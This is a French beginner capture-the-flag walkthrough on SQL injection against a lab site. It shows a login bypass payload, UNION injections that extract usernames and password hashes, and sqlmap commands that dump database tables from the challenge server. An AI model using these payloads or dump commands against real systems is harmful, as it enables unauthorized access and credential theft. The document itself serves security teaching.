Participant

anonymous

YOLO CTF

 Mon premier CTF 

SQL Injection


Vous êtes face à la page de connection d'un site web.
On vous demande un login/mot de passe que vous ne connaissez pas.
En exploitant des erreurs de codage du programmeur, quand il va utiliser ces login/mot de passe, nous avons modifier les requètes qu'il effectue sur la base de donnée.

Une connaissance de base du langage SQL est utile.

Une Authent en béton
10
 https://yoloctf.org/sqli/login.php 

Tente de te commecter avec le compte admin et le mot de passe admin. On ne sait jamais...

Comment passer l'authentification quand on ne connait pas le mot de passe ?

Par chance, le site est encore un prototype et le développeur a laissé actif des options pour débugguer.
Tu vois qu'il utilise une base de donnée SQL pour gérer les utilisateurs.

Il utilise la requête :SELECT * FROM users WHERE login='admin' AND passwd=md5('admin')

Ajoute une quote ' à la fin du nom de user et regarde le résultat...
Cette quote a corrompu la requête SQL. Good. Nous pouvons la modifier pour la réécrire.

Essaye de te connecter avec comme nom de compte:

 admin' or 1=1# 

Nous générons la requète:

 SELECT * FROM users WHERE login='admin' or 1=1#' AND passwd=md5('admin') 

Tous les caractère après le # sont ignorés comme des commentaires.
Le filtre devient

 login='admin' or 1=1 

Nous sommes authentifié comme le premier user de la base de donnée.

Une balade de santé
10

Regarde l'url de consultation des messages, et le texte de débug en bas.
La valeur 673489 est passée en paramètre de la requète SQL.

Nous allons faire une Injection SQL utilisant UNION.
Remplace cette valeur par

 673489 UNION select login from users 


Tu vas générer la requète :

 SELECT msg FROM messages WHERE idmsg= 673489 UNION select login from users 

Cette requète va ajouter les logins des utilisateurs à la fin de la liste des messages.

Dans ton SQL, s'il te plait monsieur
10

Continue sur la même url. Cette fois, en plus de noms des users, on va récupérer le hash de leurs password...

Remplace le paramètre 673489 par :

 673489 UNION select concat(login," ",passwd) from users 


Tu vas générer la requète :

 SELECT msg FROM messages WHERE idmsg= 673489 UNION select concat(login," ",passwd) from users 

Qui va concaténer la liste des users et leur hash de leur password à la fin de la liste des messages.

Sans les mains...
10

A partir du moment ou nous avons un champ utisable, il est possible de récupérer TOUTE la base de donnée.
Ca peut se faire à la main, ou sans les mains avec sqlmap.

 https://github.com/sqlmapproject/sqlmap 


A partir du terminal, le serveur se nomme : ctf-sqli, et est accessible en http.

 sqlmap -u http://ctf-sqli/getmsg.php?idmsg=673489 --tables 


On demande à sqlmap de lister les tables disponibles. On valide les choix par défaut proposés par sqlmap.

 Database: dbmccoy 
 [3 tables] 
 +---------------------------------------+ 
 | messages                              | 
 | users                                 | 
 | bonus                                 | 
 +---------------------------------------+ 
 Database: information_schema 
 [59 tables] 
 +---------------------------------------+ 
 | CHARACTER_SETS                        | 
 | COLLATIONS                            | 
 | COLLATION_CHARACTER_SET_APPLICABILITY | 
 | COLUMNS                               | 


Il y a deux bases de données 'dbmccoy', et 'information_schema'. Cette dernière est la structure interne de mysql et ne nous interresse pas.

 sqlmap -u http://ctf-sqli/getmsg.php?idmsg=673489 -D dbmccoy -T bonus --dump 


Nous récupèrons la table bonus de la base dbmccoy. Regardons son contenu...